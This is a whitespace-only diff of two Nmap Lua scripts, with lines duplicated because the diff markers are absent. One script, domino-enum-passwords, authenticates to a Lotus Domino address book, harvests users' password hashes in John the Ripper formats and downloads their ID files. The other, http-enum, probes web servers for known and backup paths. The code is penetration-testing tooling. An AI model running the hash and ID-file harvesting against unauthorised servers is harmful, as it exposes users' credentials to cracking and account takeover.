elseif ( result.status == 200 and result.body and result.body:match("<input.-type=[\"]*password[\"]*") ) then
return true
end
return false
end
--- Checks if the credentials are valid and allow access to <code>path</code>
@@ -121,14 +121,14 @@ end
-- @param pass the password used for authentication
-- @return true on valid access, false on failure
local function isValidCredential( host, port, path, user, pass )
-- we need to supply the no_cache directive, or else the http library
-- incorrectly tells us that the authentication was successfull
local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true })
-- we need to supply the no_cache directive, or else the http library
-- incorrectly tells us that the authentication was successfull
local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true })
if ( result.status == 401 ) then
return false
end
return true
if ( result.status == 401 ) then
return false
end
return true
end
--- Retrieves all uniq links in a pages
@@ -138,28 +138,28 @@ end
-- @param links [optional] table containing previousy retrieved links
-- @return links table containing retrieved links
local function getLinks( body, filter, links )
local tmp = {}
local links = links or {}
local filter = filter or ".*"
local tmp = {}
local links = links or {}
local filter = filter or ".*"
if ( not(body) ) then return end
for _, v in ipairs( links ) do
tmp[v] = true
end
if ( not(body) ) then return end
for _, v in ipairs( links ) do
tmp[v] = true
end
for link in body:gmatch("<a href=\"([^\"]+)\"") do
-- use link as key in order to remove duplicates
if ( link:match(filter)) then
tmp[link] = true
end
end
for link in body:gmatch("<a href=\"([^\"]+)\"") do
-- use link as key in order to remove duplicates
if ( link:match(filter)) then
tmp[link] = true
end
end
links = {}
for k, _ in pairs(tmp) do
table.insert(links, k)
end
links = {}
for k, _ in pairs(tmp) do
table.insert(links, k)
end
return links
return links
end
--- Retrieves the "next page" path from the returned document
@@ -167,7 +167,7 @@ end
-- @param body the html content of the recieved page
-- @return link to next page
local function getPager( body )
return body:match("<form.+action=\"(.+%?ReadForm)&" )
return body:match("<form.+action=\"(.+%?ReadForm)&" )
end
--- Retrieves the username and passwords for a user
@@ -177,19 +177,19 @@ end
-- @return password the password hash for the user
local function getUserDetails( body )
-- retrieve the details
local full_name = body:match("<input name=\"FullName\".-value=\"(.-)\">")
local http_passwd = body:match("<input name=\"HTTPPassword\".-value=\"(.-)\">")
local dsp_http_passwd = body:match("<input name=\"dspHTTPPassword\".-value=\"(.-)\">")
local id_file = body:match("<a href=\"(.-UserID)\">")
-- retrieve the details
local full_name = body:match("<input name=\"FullName\".-value=\"(.-)\">")
local http_passwd = body:match("<input name=\"HTTPPassword\".-value=\"(.-)\">")
local dsp_http_passwd = body:match("<input name=\"dspHTTPPassword\".-value=\"(.-)\">")
local id_file = body:match("<a href=\"(.-UserID)\">")
-- Remove the parenthesis around the password
http_passwd = http_passwd:sub(2,-2)
-- In case we have more than one full name, return only the last
full_name = stdnse.strsplit(";%s*", full_name)
full_name = full_name[#full_name]
-- Remove the parenthesis around the password
http_passwd = http_passwd:sub(2,-2)
-- In case we have more than one full name, return only the last
full_name = stdnse.strsplit(";%s*", full_name)
full_name = full_name[#full_name]
return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file }
return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file }
end
--- Saves the ID file to disk
@@ -199,162 +199,162 @@ end
-- @return status true on success, false on failure
-- @return err string containing error message if status is false
local function saveIDFile( filename, data )
local f = io.open( filename, "w")
if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename)
end
if ( not(f:write( data ) ) ) then
return false, ("Failed to write file (%s)"):format(filename)
end
f:close()
local f = io.open( filename, "w")
if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename)
end
if ( not(f:write( data ) ) ) then
return false, ("Failed to write file (%s)"):format(filename)
end
f:close()
return true
return true
end
action = function(host, port)
local path = "/names.nsf"
local download_path = stdnse.get_script_args('domino-enum-passwords.idpath')
local vhost= stdnse.get_script_args('domino-enum-passwords.hostname')
local user = stdnse.get_script_args('domino-enum-passwords.username')
local pass = stdnse.get_script_args('domino-enum-passwords.password')
local creds, pos, pager
local links, result, hashes,legacyHashes, id_files = {}, {}, {}, {},{}
local chunk_size = 30
local max_fetch = stdnse.get_script_args('domino-enum-passwords.count') and tonumber(stdnse.get_script_args('domino-enum-passwords.count')) or 10
local http_response
local path = "/names.nsf"
local download_path = stdnse.get_script_args('domino-enum-passwords.idpath')
local vhost= stdnse.get_script_args('domino-enum-passwords.hostname')
local user = stdnse.get_script_args('domino-enum-passwords.username')
local pass = stdnse.get_script_args('domino-enum-passwords.password')
local creds, pos, pager
local links, result, hashes,legacyHashes, id_files = {}, {}, {}, {},{}
local chunk_size = 30
local max_fetch = stdnse.get_script_args('domino-enum-passwords.count') and tonumber(stdnse.get_script_args('domino-enum-passwords.count')) or 10
local http_response
if ( nmap.registry['credentials'] and nmap.registry['credentials']['http'] ) then
creds = nmap.registry['credentials']['http']
end
if ( nmap.registry['credentials'] and nmap.registry['credentials']['http'] ) then
creds = nmap.registry['credentials']['http']
end
-- authentication required?
if ( requiresAuth( vhost or host, port, path ) ) then
if ( not(user) and not(creds) ) then
return " \n ERROR: No credentials supplied (see domino-enum-passwords.username and domino-enum-passwords.password)"
end
-- authentication required?
if ( requiresAuth( vhost or host, port, path ) ) then
if ( not(user) and not(creds) ) then
return " \n ERROR: No credentials supplied (see domino-enum-passwords.username and domino-enum-passwords.password)"
end
-- A user was provided, attempt to authenticate
if ( user ) then
if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then
return " \n ERROR: The provided credentials where invalid"
end
elseif ( creds ) then
for _, cred in pairs(creds) do
if ( isValidCredential( vhost or host, port, path, cred.username, cred.password ) ) then
user = cred.username
pass = cred.password
break
end
end
end
end
-- A user was provided, attempt to authenticate
if ( user ) then
if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then
return " \n ERROR: The provided credentials where invalid"
end
elseif ( creds ) then
for _, cred in pairs(creds) do
if ( isValidCredential( vhost or host, port, path, cred.username, cred.password ) ) then
user = cred.username
pass = cred.password
break
end
end
end
end
if ( not(user) and not(pass) ) then
return " \n ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)"
end
if ( not(user) and not(pass) ) then
return " \n ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)"
end
path = "/names.nsf/People?OpenView"
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
pager = getPager( http_response.body )
if ( not(pager) ) then
if ( http_response.body and
http_response.body:match(".*<input type=\"submit\".* value=\"Sign In\">.*" ) ) then
return " \n ERROR: Failed to authenticate"
else
return " \n ERROR: Failed to process results"
end
end
pos = 1
path = "/names.nsf/People?OpenView"
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
pager = getPager( http_response.body )
if ( not(pager) ) then
if ( http_response.body and
http_response.body:match(".*<input type=\"submit\".* value=\"Sign In\">.*" ) ) then
return " \n ERROR: Failed to authenticate"
else
return " \n ERROR: Failed to process results"
end
end
pos = 1
-- first collect all links
while( true ) do
path = pager .. "&Start=" .. pos
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
-- first collect all links
while( true ) do
path = pager .. "&Start=" .. pos
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
if ( http_response.status == 200 ) then
local size = #links
links = getLinks( http_response.body, "%?OpenDocument", links )
-- No additions were made
if ( size == #links ) then
break
end
end
if ( http_response.status == 200 ) then
local size = #links
links = getLinks( http_response.body, "%?OpenDocument", links )
-- No additions were made
if ( size == #links ) then
break
end
end
if ( max_fetch > 0 and max_fetch < #links ) then
break
end
if ( max_fetch > 0 and max_fetch < #links ) then
break
end
pos = pos + chunk_size
end
pos = pos + chunk_size
end
for _, link in ipairs(links) do
stdnse.print_debug(2, "Fetching link: %s", link)
http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true })
local u_details = getUserDetails( http_response.body )
for _, link in ipairs(links) do
stdnse.print_debug(2, "Fetching link: %s", link)
http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true })
local u_details = getUserDetails( http_response.body )
if ( max_fetch > 0 and (#hashes+#legacyHashes)>= max_fetch ) then
break
end
if ( max_fetch > 0 and (#hashes+#legacyHashes)>= max_fetch ) then
break
end
if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then
stdnse.print_debug(2, "Found Internet hash for: %s:%s", u_details.fullname, u_details.passwd)
-- Old type are 32 bytes, new are 20
if #u_details.passwd == 32 then
table.insert( legacyHashes, ("%s:%s"):format(u_details.fullname, u_details.passwd))
else
table.insert( hashes, ("%s:(%s)"):format(u_details.fullname, u_details.passwd))
end
end
if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then
stdnse.print_debug(2, "Found Internet hash for: %s:%s", u_details.fullname, u_details.passwd)
-- Old type are 32 bytes, new are 20
if #u_details.passwd == 32 then
table.insert( legacyHashes, ("%s:%s"):format(u_details.fullname, u_details.passwd))
else
table.insert( hashes, ("%s:(%s)"):format(u_details.fullname, u_details.passwd))
end
end
if ( u_details.idfile ) then
stdnse.print_debug(2, "Found ID file for user: %s", u_details.fullname)
if ( download_path ) then
stdnse.print_debug(2, "Downloading ID file for user: %s", u_details.full_name)
http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true })
if ( u_details.idfile ) then
stdnse.print_debug(2, "Found ID file for user: %s", u_details.fullname)
if ( download_path ) then
stdnse.print_debug(2, "Downloading ID file for user: %s", u_details.full_name)
http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true })
if ( http_response.status == 200 ) then
local filename = download_path .. "/" .. stdnse.filename_escape(u_details.fullname .. ".id")
local status, err = saveIDFile( filename, http_response.body )
if ( status ) then
table.insert( id_files, ("%s ID File has been downloaded (%s)"):format(u_details.fullname, filename) )
else
table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) )
end
else
table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) )
end
else
table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) )
end
end
end
if ( http_response.status == 200 ) then
local filename = download_path .. "/" .. stdnse.filename_escape(u_details.fullname .. ".id")
local status, err = saveIDFile( filename, http_response.body )
if ( status ) then
table.insert( id_files, ("%s ID File has been downloaded (%s)"):format(u_details.fullname, filename) )
else
table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) )
end
else
table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) )
end
else
table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) )
end
end
end
if( #hashes + #legacyHashes > 0) then
table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } )
end
if( #hashes + #legacyHashes > 0) then
table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } )
end
if ( #hashes ) then
hashes.name = "Internet hashes (salted, jtr: --format=DOMINOSEC)"
table.insert( result, hashes )
end
if (#legacyHashes ) then
legacyHashes.name = "Internet hashes (unsalted, jtr: --format=lotus5)"
table.insert( result, legacyHashes )
end
if ( #hashes ) then
hashes.name = "Internet hashes (salted, jtr: --format=DOMINOSEC)"
table.insert( result, hashes )
end
if (#legacyHashes ) then
legacyHashes.name = "Internet hashes (unsalted, jtr: --format=lotus5)"
table.insert( result, legacyHashes )
end
if ( #id_files ) then
id_files.name = "ID Files"
table.insert( result, id_files )
end
if ( #id_files ) then
id_files.name = "ID Files"
table.insert( result, id_files )
end
local result = stdnse.format_output(true, result)
local result = stdnse.format_output(true, result)
if ( max_fetch > 0 ) then
result = result .. (" \n Results limited to %d results (see domino-enum-passwords.count)"):format(max_fetch)
end
if ( max_fetch > 0 ) then
result = result .. (" \n Results limited to %d results (see domino-enum-passwords.count)"):format(max_fetch)
end
return result
return result
end

View File

@@ -87,75 +87,75 @@ local common_ext = { 'php', 'asp', 'aspx', 'jsp', 'pl', 'cgi', 'css', 'js', 'htm
--
-- At the time of the writing, these were all decided by me (Ron Bowes).
local function get_variations(filename)
local variations = {}
local variations = {}
if(filename == nil or filename == "" or filename == "/") then
return {}
end
if(filename == nil or filename == "" or filename == "/") then
return {}
end
local is_directory = (string.sub(filename, #filename, #filename) == "/")
if(is_directory) then
filename = string.sub(filename, 1, #filename - 1)
end
local is_directory = (string.sub(filename, #filename, #filename) == "/")
if(is_directory) then
filename = string.sub(filename, 1, #filename - 1)
end
-- Try some extensions
table.insert(variations, filename .. ".bak")
table.insert(variations, filename .. ".1")
table.insert(variations, filename .. ".tmp")
-- Try some extensions
table.insert(variations, filename .. ".bak")
table.insert(variations, filename .. ".1")
table.insert(variations, filename .. ".tmp")
-- Strip off the extension, if it has one, and try it all again.
-- For now, just look for three-character extensions.
if(string.sub(filename, #filename - 3, #filename - 3) == '.') then
local bare = string.sub(filename, 1, #filename - 4)
local extension = string.sub(filename, #filename - 3)
-- Strip off the extension, if it has one, and try it all again.
-- For now, just look for three-character extensions.
if(string.sub(filename, #filename - 3, #filename - 3) == '.') then
local bare = string.sub(filename, 1, #filename - 4)
local extension = string.sub(filename, #filename - 3)
table.insert(variations, bare .. ".bak")
table.insert(variations, bare .. ".1")
table.insert(variations, bare .. ".tmp")
table.insert(variations, bare .. "_1" .. extension)
table.insert(variations, bare .. "2" .. extension)
end
table.insert(variations, bare .. ".bak")
table.insert(variations, bare .. ".1")
table.insert(variations, bare .. ".tmp")
table.insert(variations, bare .. "_1" .. extension)
table.insert(variations, bare .. "2" .. extension)
end
-- Some Windowsy things
local onlyname = string.sub(filename, 2)
-- If the name contains a '/', forget it
if(string.find(onlyname, "/") == nil) then
table.insert(variations, "/Copy of " .. onlyname)
table.insert(variations, "/Copy (2) of " .. onlyname)
table.insert(variations, "/Copy of Copy of " .. onlyname)
-- Some Windowsy things
local onlyname = string.sub(filename, 2)
-- If the name contains a '/', forget it
if(string.find(onlyname, "/") == nil) then
table.insert(variations, "/Copy of " .. onlyname)
table.insert(variations, "/Copy (2) of " .. onlyname)
table.insert(variations, "/Copy of Copy of " .. onlyname)
-- Word/Excel/etc replace the first two characters with '~$', it seems
table.insert(variations, "/~$" .. string.sub(filename, 4))
end
-- Word/Excel/etc replace the first two characters with '~$', it seems
table.insert(variations, "/~$" .. string.sub(filename, 4))
end
-- Some editors add a '~'
table.insert(variations, filename .. "~")
-- Some editors add a '~'
table.insert(variations, filename .. "~")
-- Try some directories
table.insert(variations, "/bak" .. filename)
table.insert(variations, "/backup" .. filename)
table.insert(variations, "/backups" .. filename)
table.insert(variations, "/beta" .. filename)
table.insert(variations, "/test" .. filename)
-- Try some directories
table.insert(variations, "/bak" .. filename)
table.insert(variations, "/backup" .. filename)
table.insert(variations, "/backups" .. filename)
table.insert(variations, "/beta" .. filename)
table.insert(variations, "/test" .. filename)
-- If it's a directory, add a '/' after every entry
if(is_directory) then
for i, v in ipairs(variations) do
variations[i] = v .. "/"
end
end
-- If it's a directory, add a '/' after every entry
if(is_directory) then
for i, v in ipairs(variations) do
variations[i] = v .. "/"
end
end
-- Some compressed formats (we don't want a trailing '/' on these, so they go after the loop)
table.insert(variations, filename .. ".zip")
table.insert(variations, filename .. ".tar")
table.insert(variations, filename .. ".tar.gz")
table.insert(variations, filename .. ".tgz")
table.insert(variations, filename .. ".tar.bz2")
-- Some compressed formats (we don't want a trailing '/' on these, so they go after the loop)
table.insert(variations, filename .. ".zip")
table.insert(variations, filename .. ".tar")
table.insert(variations, filename .. ".tar.gz")
table.insert(variations, filename .. ".tgz")
table.insert(variations, filename .. ".tar.bz2")
return variations
return variations
end
---Get the list of fingerprints from files. The files are defined in <code>fingerprint_files</code>. If category
@@ -163,227 +163,227 @@ end
--
--@return An array of entries, each of which have a <code>checkdir</code> field, and possibly a <code>checkdesc</code>.
local function get_fingerprints(fingerprint_file, category)
local entries = {}
local i
local total_count = 0 -- Used for 'limit'
local entries = {}
local i
local total_count = 0 -- Used for 'limit'
-- Check if we've already read the file
-- There might be a race condition here, where multiple scripts will read the file and set this variable, but the impact
-- of that would be minimal (and definitely isn't security)
if(nmap.registry.http_fingerprints ~= nil) then
stdnse.print_debug(1, "http-enum: Using cached HTTP fingerprints")
return nmap.registry.http_fingerprints
end
-- Check if we've already read the file
-- There might be a race condition here, where multiple scripts will read the file and set this variable, but the impact
-- of that would be minimal (and definitely isn't security)
if(nmap.registry.http_fingerprints ~= nil) then
stdnse.print_debug(1, "http-enum: Using cached HTTP fingerprints")
return nmap.registry.http_fingerprints
end
-- Try and find the file; if it isn't in Nmap's directories, take it as a direct path
local filename_full = nmap.fetchfile('nselib/data/' .. fingerprint_file)
if(not(filename_full)) then
filename_full = fingerprint_file
end
-- Try and find the file; if it isn't in Nmap's directories, take it as a direct path
local filename_full = nmap.fetchfile('nselib/data/' .. fingerprint_file)
if(not(filename_full)) then
filename_full = fingerprint_file
end
stdnse.print_debug("http-enum: Loading fingerprint database: %s", filename_full)
local env = setmetatable({fingerprints = {}}, {__index = _G})
local file = loadfile(filename_full, "t", env)
if(not(file)) then
stdnse.print_debug("http-enum: Couldn't load configuration file: %s", filename_full)
return false, "Couldn't load fingerprint file: " .. filename_full
end
stdnse.print_debug("http-enum: Loading fingerprint database: %s", filename_full)
local env = setmetatable({fingerprints = {}}, {__index = _G})
local file = loadfile(filename_full, "t", env)
if(not(file)) then
stdnse.print_debug("http-enum: Couldn't load configuration file: %s", filename_full)
return false, "Couldn't load fingerprint file: " .. filename_full
end
file()
file()
local fingerprints = env.fingerprints
local fingerprints = env.fingerprints
-- Sanity check our file to ensure that all the fields were good. If any are bad, we
-- stop and don't load the file.
for i, fingerprint in pairs(fingerprints) do
-- Make sure we have a valid index
if(type(i) ~= 'number') then
return false, "The 'fingerprints' table is an array, not a table; all indexes should be numeric"
end
-- Sanity check our file to ensure that all the fields were good. If any are bad, we
-- stop and don't load the file.
for i, fingerprint in pairs(fingerprints) do
-- Make sure we have a valid index
if(type(i) ~= 'number') then
return false, "The 'fingerprints' table is an array, not a table; all indexes should be numeric"
end
-- Make sure they have either a string or a table of probes
if(not(fingerprint.probes) or
(type(fingerprint.probes) ~= 'table' and type(fingerprint.probes) ~= 'string') or
(type(fingerprint.probes) == 'table' and #fingerprint.probes == 0)) then
return false, "Invalid path found for fingerprint " .. i
end
-- Make sure they have either a string or a table of probes
if(not(fingerprint.probes) or
(type(fingerprint.probes) ~= 'table' and type(fingerprint.probes) ~= 'string') or
(type(fingerprint.probes) == 'table' and #fingerprint.probes == 0)) then
return false, "Invalid path found for fingerprint " .. i
end
-- Make sure fingerprint.path is a table
if(type(fingerprint.probes) == 'string') then
fingerprint.probes = {fingerprint.probes}
end
-- Make sure fingerprint.path is a table
if(type(fingerprint.probes) == 'string') then
fingerprint.probes = {fingerprint.probes}
end
-- Make sure the elements in the probes array are strings or arrays
for i, probe in pairs(fingerprint.probes) do
-- Make sure we have a valid index
if(type(i) ~= 'number') then
return false, "The 'probes' table is an array, not a table; all indexes should be numeric"
end
-- Make sure the elements in the probes array are strings or arrays
for i, probe in pairs(fingerprint.probes) do
-- Make sure we have a valid index
if(type(i) ~= 'number') then
return false, "The 'probes' table is an array, not a table; all indexes should be numeric"
end
-- Convert the probe to a table if it's a string
if(type(probe) == 'string') then
fingerprint.probes[i] = {path=fingerprint.probes[i]}
probe = fingerprint.probes[i]
end
-- Convert the probe to a table if it's a string
if(type(probe) == 'string') then
fingerprint.probes[i] = {path=fingerprint.probes[i]}
probe = fingerprint.probes[i]
end
-- Make sure the probes table has a 'path'
if(not(probe['path'])) then
return false, "The 'probes' table requires each element to have a 'path'."
end
-- Make sure the probes table has a 'path'
if(not(probe['path'])) then
return false, "The 'probes' table requires each element to have a 'path'."
end
-- If they didn't set a method, set it to 'GET'
if(not(probe['method'])) then
probe['method'] = 'GET'
end
-- If they didn't set a method, set it to 'GET'
if(not(probe['method'])) then
probe['method'] = 'GET'
end
-- Make sure the method's a string
if(type(probe['method']) ~= 'string') then
return false, "The 'method' in the probes file has to be a string"
end
end
-- Make sure the method's a string
if(type(probe['method']) ~= 'string') then
return false, "The 'method' in the probes file has to be a string"
end
end
-- Ensure that matches is an array
if(type(fingerprint.matches) ~= 'table') then
return false, "'matches' field has to be a table"
end
-- Ensure that matches is an array
if(type(fingerprint.matches) ~= 'table') then
return false, "'matches' field has to be a table"
end
-- Loop through the matches
for i, match in pairs(fingerprint.matches) do
-- Make sure we have a valid index
if(type(i) ~= 'number') then
return false, "The 'matches' table is an array, not a table; all indexes should be numeric"
end
-- Loop through the matches
for i, match in pairs(fingerprint.matches) do
-- Make sure we have a valid index
if(type(i) ~= 'number') then
return false, "The 'matches' table is an array, not a table; all indexes should be numeric"
end
-- Check that every element in the table is an array
if(type(match) ~= 'table') then
return false, "Every element of 'matches' field has to be a table"
end
-- Check that every element in the table is an array
if(type(match) ~= 'table') then
return false, "Every element of 'matches' field has to be a table"
end
-- Check the output field
if(match['output'] == nil or type(match['output']) ~= 'string') then
return false, "The 'output' field in 'matches' has to be present and a string"
end
-- Check the output field
if(match['output'] == nil or type(match['output']) ~= 'string') then
return false, "The 'output' field in 'matches' has to be present and a string"
end
-- Check the 'match' and 'dontmatch' fields, if present
if((match['match'] and type(match['match']) ~= 'string') or (match['dontmatch'] and type(match['dontmatch']) ~= 'string')) then
return false, "The 'match' and 'dontmatch' fields in 'matches' have to be strings, if they exist"
end
-- Check the 'match' and 'dontmatch' fields, if present
if((match['match'] and type(match['match']) ~= 'string') or (match['dontmatch'] and type(match['dontmatch']) ~= 'string')) then
return false, "The 'match' and 'dontmatch' fields in 'matches' have to be strings, if they exist"
end
-- Change blank 'match' strings to '.*' so they match everything
if(not(match['match']) or match['match'] == '') then
match['match'] = '(.*)'
end
end
-- Change blank 'match' strings to '.*' so they match everything
if(not(match['match']) or match['match'] == '') then
match['match'] = '(.*)'
end
end
-- Make sure the severity is an integer between 1 and 4. Default it to 1.
if(fingerprint.severity and (type(fingerprint.severity) ~= 'number' or fingerprint.severity < 1 or fingerprint.severity > 4)) then
return false, "The 'severity' field has to be an integer between 1 and 4"
else
fingerprint.severity = 1
end
-- Make sure the severity is an integer between 1 and 4. Default it to 1.
if(fingerprint.severity and (type(fingerprint.severity) ~= 'number' or fingerprint.severity < 1 or fingerprint.severity > 4)) then
return false, "The 'severity' field has to be an integer between 1 and 4"
else
fingerprint.severity = 1
end
-- Make sure ignore_404 is a boolean. Default it to false.
if(fingerprint.ignore_404 and type(fingerprint.ignore_404) ~= 'boolean') then
return false, "The 'ignore_404' field has to be a boolean"
else
fingerprint.ignore_404 = false
end
end
-- Make sure ignore_404 is a boolean. Default it to false.
if(fingerprint.ignore_404 and type(fingerprint.ignore_404) ~= 'boolean') then
return false, "The 'ignore_404' field has to be a boolean"
else
fingerprint.ignore_404 = false
end
end
-- Make sure we have some fingerprints fingerprints
if(#fingerprints == 0) then
return false, "No fingerprints were loaded"
end
-- Make sure we have some fingerprints fingerprints
if(#fingerprints == 0) then
return false, "No fingerprints were loaded"
end
-- If the user wanted to filter by category, do it
if(category) then
local filtered_fingerprints = {}
for _, fingerprint in pairs(fingerprints) do
if(fingerprint.category == category) then
table.insert(filtered_fingerprints, fingerprint)
end
end
-- If the user wanted to filter by category, do it
if(category) then
local filtered_fingerprints = {}
for _, fingerprint in pairs(fingerprints) do
if(fingerprint.category == category) then
table.insert(filtered_fingerprints, fingerprint)
end
end
fingerprints = filtered_fingerprints
fingerprints = filtered_fingerprints
-- Make sure we still have fingerprints after the category filter
if(#fingerprints == 0) then
return false, "No fingerprints matched the given category (" .. category .. ")"
end
end
-- Make sure we still have fingerprints after the category filter
if(#fingerprints == 0) then
return false, "No fingerprints matched the given category (" .. category .. ")"
end
end
-- -- If the user wants to try variations, add them
-- if(try_variations) then
-- -- Get a list of all variations for this directory
-- local variations = get_variations(entry['checkdir'])
--
-- -- Make a copy of the entry for each of them
-- for _, variation in ipairs(variations) do
-- new_entry = {}
-- for k, v in pairs(entry) do
-- new_entry[k] = v
-- end
-- new_entry['checkdesc'] = new_entry['checkdesc'] .. " (variation)"
-- new_entry['checkdir'] = variation
-- table.insert(entries, new_entry)
-- count = count + 1
-- end
-- end
-- -- If the user wants to try variations, add them
-- if(try_variations) then
-- -- Get a list of all variations for this directory
-- local variations = get_variations(entry['checkdir'])
--
-- -- Make a copy of the entry for each of them
-- for _, variation in ipairs(variations) do
-- new_entry = {}
-- for k, v in pairs(entry) do
-- new_entry[k] = v
-- end
-- new_entry['checkdesc'] = new_entry['checkdesc'] .. " (variation)"
-- new_entry['checkdir'] = variation
-- table.insert(entries, new_entry)
-- count = count + 1
-- end
-- end
-- Cache the fingerprints for other scripts, so we aren't reading the files every time
-- nmap.registry.http_fingerprints = fingerprints
-- Cache the fingerprints for other scripts, so we aren't reading the files every time
-- nmap.registry.http_fingerprints = fingerprints
return true, fingerprints
return true, fingerprints
end
action = function(host, port)
local response = {}
local response = {}
-- Read the script-args, keeping the old ones for reverse compatibility
local basepath = stdnse.get_script_args({'http-enum.basepath', 'path'}) or '/'
local displayall = stdnse.get_script_args({'http-enum.displayall', 'displayall'}) or false
local fingerprint_file = stdnse.get_script_args({'http-enum.fingerprintfile', 'fingerprints'}) or 'http-fingerprints.lua'
local category = stdnse.get_script_args('http-enum.category')
-- local try_variations = stdnse.get_script_args({'http-enum.tryvariations', 'variations'}) or false
-- local limit = tonumber(stdnse.get_script_args({'http-enum.limit', 'limit'})) or -1
-- Read the script-args, keeping the old ones for reverse compatibility
local basepath = stdnse.get_script_args({'http-enum.basepath', 'path'}) or '/'
local displayall = stdnse.get_script_args({'http-enum.displayall', 'displayall'}) or false
local fingerprint_file = stdnse.get_script_args({'http-enum.fingerprintfile', 'fingerprints'}) or 'http-fingerprints.lua'
local category = stdnse.get_script_args('http-enum.category')
-- local try_variations = stdnse.get_script_args({'http-enum.tryvariations', 'variations'}) or false
-- local limit = tonumber(stdnse.get_script_args({'http-enum.limit', 'limit'})) or -1
-- Add URLs from external files
local status, fingerprints = get_fingerprints(fingerprint_file, category)
if(not(status)) then
return stdnse.format_output(false, fingerprints)
end
stdnse.print_debug(1, "http-enum: Loaded %d fingerprints", #fingerprints)
-- Add URLs from external files
local status, fingerprints = get_fingerprints(fingerprint_file, category)
if(not(status)) then
return stdnse.format_output(false, fingerprints)
end
stdnse.print_debug(1, "http-enum: Loaded %d fingerprints", #fingerprints)
-- Check what response we get for a 404
local result, result_404, known_404 = http.identify_404(host, port)
if(result == false) then
return stdnse.format_output(false, result_404)
end
-- Check what response we get for a 404
local result, result_404, known_404 = http.identify_404(host, port)
if(result == false) then
return stdnse.format_output(false, result_404)
end
-- Queue up the checks
local all = {}
-- Queue up the checks
local all = {}
-- Remove trailing slash, if it exists
if(#basepath > 1 and string.sub(basepath, #basepath, #basepath) == '/') then
basepath = string.sub(basepath, 1, #basepath - 1)
end
-- Remove trailing slash, if it exists
if(#basepath > 1 and string.sub(basepath, #basepath, #basepath) == '/') then
basepath = string.sub(basepath, 1, #basepath - 1)
end
-- Add a leading slash, if it doesn't exist
if(#basepath <= 1) then
basepath = ''
else
if(string.sub(basepath, 1, 1) ~= '/') then
basepath = '/' .. basepath
end
end
-- Add a leading slash, if it doesn't exist
if(#basepath <= 1) then
basepath = ''
else
if(string.sub(basepath, 1, 1) ~= '/') then
basepath = '/' .. basepath
end
end
local results_nopipeline = {}
-- Loop through the fingerprints
stdnse.print_debug(1, "http-enum: Searching for entries under path '%s' (change with 'http-enum.basepath' argument)", basepath)
for i = 1, #fingerprints, 1 do
-- Add each path. The order very much matters here.
for j = 1, #fingerprints[i].probes, 1 do
-- Loop through the fingerprints
stdnse.print_debug(1, "http-enum: Searching for entries under path '%s' (change with 'http-enum.basepath' argument)", basepath)
for i = 1, #fingerprints, 1 do
-- Add each path. The order very much matters here.
for j = 1, #fingerprints[i].probes, 1 do
if fingerprints[i].probes[j].nopipeline then
local res = http.generic_request(host, port, fingerprints[i].probes[j].method or 'GET', basepath .. fingerprints[i].probes[j].path, nil)
if res.status then
@@ -395,25 +395,25 @@ action = function(host, port)
all = http.pipeline_add(basepath .. fingerprints[i].probes[j].path, nil, all, fingerprints[i].probes[j].method or 'GET')
end
end
end
end
-- Perform all the requests.
local results = http.pipeline_go(host, port, all, nil)
-- Perform all the requests.
local results = http.pipeline_go(host, port, all, nil)
-- Check for http.pipeline error
if(results == nil) then
stdnse.print_debug(1, "http-enum: http.pipeline_go encountered an error")
return stdnse.format_output(false, "http.pipeline_go encountered an error")
end
-- Check for http.pipeline error
if(results == nil) then
stdnse.print_debug(1, "http-enum: http.pipeline_go encountered an error")
return stdnse.format_output(false, "http.pipeline_go encountered an error")
end
-- Loop through the fingerprints. Note that for each fingerprint, we may have multiple results
local j = 1
-- Loop through the fingerprints. Note that for each fingerprint, we may have multiple results
local j = 1
local j_nopipeline = 1
for i, fingerprint in ipairs(fingerprints) do
for i, fingerprint in ipairs(fingerprints) do
-- Loop through the paths for each fingerprint in the same order we did the requests. Each of these will
-- have one result, so increment the result value at each iteration
for _, probe in ipairs(fingerprint.probes) do
-- Loop through the paths for each fingerprint in the same order we did the requests. Each of these will
-- have one result, so increment the result value at each iteration
for _, probe in ipairs(fingerprint.probes) do
local result
if probe.nopipeline then
result = results_nopipeline[j_nopipeline]
@@ -422,66 +422,66 @@ action = function(host, port)
result = results[j]
j = j + 1
end
if(result) then
local path = basepath .. probe['path']
local good = true
local output = nil
-- Unless this check said to ignore 404 messages, check if we got a valid page back using a known 404 message.
if(fingerprint.ignore_404 ~= true and not(http.page_exists(result, result_404, known_404, path, displayall))) then
good = false
else
-- Loop through our matches table and see if anything matches our result
for _, match in ipairs(fingerprint.matches) do
if(match.match) then
local result, matches = http.response_contains(result, match.match)
if(result) then
output = match.output
good = true
